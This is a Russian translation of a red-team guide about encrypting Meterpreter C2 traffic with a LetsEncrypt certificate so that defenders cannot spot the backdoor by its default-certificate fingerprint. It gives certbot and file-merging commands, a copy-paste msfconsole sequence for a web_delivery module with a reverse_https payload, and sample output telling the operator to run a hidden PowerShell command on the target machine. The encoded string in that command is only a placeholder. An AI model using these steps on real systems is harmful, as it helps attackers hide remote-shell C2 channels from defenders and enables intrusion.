Перевод: Руководство RED TEAM - #1
@Ent_TranslateIBШифрование трафика Meterpreter

Темы:
- Регистрация домена
- Letsencrypt
- Meterpreter Magic
ПРЕКРАТИТЕ ИСПОЛЬЗОВАТЬ SSL-СЕРТИФИКАТЫ ПО УМОЛЧАНИЮ
По умолчанию Meterpreter создает пользовательские SSL-сертификаты для шифрования трафика между целью и вашим C2-сервером, если вы включили SSL. Однако эти пользовательские SSL-сертификаты содержат данные с отпечатками, которые позволяют специалистам легко обнаружить ваш бэкдор.
Очевидно, что с помощью SSL Termination (или SSL offloading) специалисты смогли бы прочитать и интерпретировать поток данных, но эта техника требует больших вычислительных затрат и поэтому - в большинстве случаев - требует отдельного устройства. В любом случае, на момент написания статьи SSL Termination используется не очень часто из-за связанных с этим затрат или незрелости организации.
Возвращаемся к Meterpreter.
1. Зарегистрируйте домен
Во-первых, зарегистрируйте домен для вашего сервера C2 или создайте поддомен на существующем домене. Это не только обязательный шаг для получения действительного SSL-сертификата, но и возможность перенести инфраструктуру C2 в другую хостинговую компанию или на другой IP-адрес. Всего одно обновление DNS позволит всем вашим бэкдорам найти ваш C2-сервер.
2. Используйте LetsEncrypt для создания SSL-сертификата
Чтобы избежать обнаружения из-за отпечатков SSL-сертификатов, вы должны создавать свои собственные пользовательские SSL-сертификаты. К счастью, именно здесь на помощь приходит LetsEncrypt. Некоммерческий центр сертификации, предоставляющий сертификаты TLS 260 миллионам веб-сайтов бесплатно (!).
- Переходим на certbot.eff.org
- Для программного обеспечения не выбирайте ничего из вышеперечисленного
- Для системы, выберите свою операционную систему. В моем случае: Ubuntu 20.04
- Следуйте инструкциям по установке Certbot на вашем сервере C2
- Затем запросите сертификат, используя опцию --standalone:
# certbot certonly --standalone -d YOURDOMAINHERE - Если все прошло нормально, ваш сертификат должен находиться в этом каталоге:
/etc/letsencrypt/live/YOURDOMAINHERE
Чтобы сделать этот совершенно новый сертификат готовым для Meterpreter, нам нужно объединить сертификат с его закрытым ключом.
- Создайте каталог для сохранения пользовательского сертификата в:
# mkdir /opt/ssl - Объедините сертификат LetsEncrypt и закрытый ключ:
# cat /etc/letsencrypt/live/YOURDOMAINHERE/privkey.pem /etc/letsencrypt/live/YOURDOMAINHERE/fullchain.pem > /opt/ssl/unified.pem
Вы можете повысить свой OpSec, используя Cloudflare вместо LetsEncrypt. Недостатком является то, что вы можете использовать только WEB-порты для своих C2-соединений, поскольку Cloudflare перенаправляет WEB-трафик только на ваш IP-адрес.
3. Meterpreter Magic
Итак, теперь, когда вы настроили все предварительные параметры, мы наконец-то можем приступить к работе с Meterpreter. Для этого примера я собираюсь использовать модуль Meterpreter exploit/multi/script/web_delivery и полезную нагрузку windows/x64/meterpreter/reverse_https. Пример:

На изображении выше вы видите опции SSL в разделе 'Module', но ни одной в разделе 'Payload'. Если вы немного знакомы с Meterpreter, вы знаете, что есть несколько "advanced" опций. Одна особенно важная опция, позволяющая избежать обнаружения, это HandlerSSLCert. Эта опция отменяет стандартную (автоматически создаваемый SSL сертификат с отпечатками), устанавливая ваш собственный SSL сертификат для 'stager'.
Не забудьте включить проверку этого сертификата, установив stagerverifysslcert на true.
Итак, вот команды, если вам нужно скопировать/вставить:
use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_https
set sslcert /opt/ssl/unified.pem
set ssl true
set srvport 80
set lhost YOURDOMAINHERE
set lport 443
set HandlerSSLCert /opt/ssl/unified.pem
set StagerVerifySSLCert true
set target 2
exploit -j -z
Обратите внимание, что похоже, что я установил один и тот же сертификат дважды. Это правильно. Один раз для прослушивателя и один раз для использования в соединении stager.
После выполнения последней команды (exploit -j -z) вы получите команду Powershell для запуска на целевой машине:
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[*] Started HTTPS reverse handler on https://0.0.0.0:443
[*] Using URL: https://0.0.0.0:80/RaNdOmStRiNg
[*] Local IP: https://0.0.0.0:80/RaNdOmStRiNg
[*] Server started.
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -e VGhpcyBpcyBqdXN0IGFuIGV4YW1wbGUuIFRoaXMgaXMganVzdCBhbiBleGFtcGxlLiBUaGlzIGlzIGp1c3QgYW4gZXhhbXBsZS4gVGhpcyBpcyBqdXN0IGFuIGV4YW1wbGUuIFRoaXMgaXMganVzdCBhbiBleGFtcGxlLiBUaGlzIGlzIGp1c3QgYW4gZXhhbXBsZS4gVGhpcyBpcyBqdXN0IGFuIGV4YW1wbGUuIFRoaXMgaXMganVzdCBhbiBleGFtcGxlLiBUaGlzIGlzIGp1c3QgYW4gZXhhbXBsZS4gVGhpcyBpcyBqdXN0IGFuIGV4YW1wbGUuIFRoaXMgaXMganVzdCBhbiBleGFtcGxlLiBUaGlzIGlzIGp1c3QgYW4gZXhhbXBsZS4gVGhpcyBpcyBqdXN0IGFuIGV4YW1wbGUuIFRoaXMgaXMganVzdCBhbiBleGFtcGxlLiBUaGlzIGlzIGp1c3QgYW4gZXhhbXBsZS4gVGhpcyBpcyBqdXN0IGFuIGV4YW1wbGUuIFRoaXMgaXMganVzdCBhbiBleGFtcGxlLiA=
Теперь откройте браузер и перейдите на сайт https://YOURDOMAINHERE:443. SSL-соединение будет действительным, и на нем будет отображаться сертификат LetsEncrypt, который вы установили.
Хорошая работа!
Перевод статьи был выполнен проектом перевод энтузиаста:
- 📚 @Ent_TranslateIB - Телеграмм канал с тематикой информационной безопасности
- 🔥 @Ent_Translate - Инстаграм проекта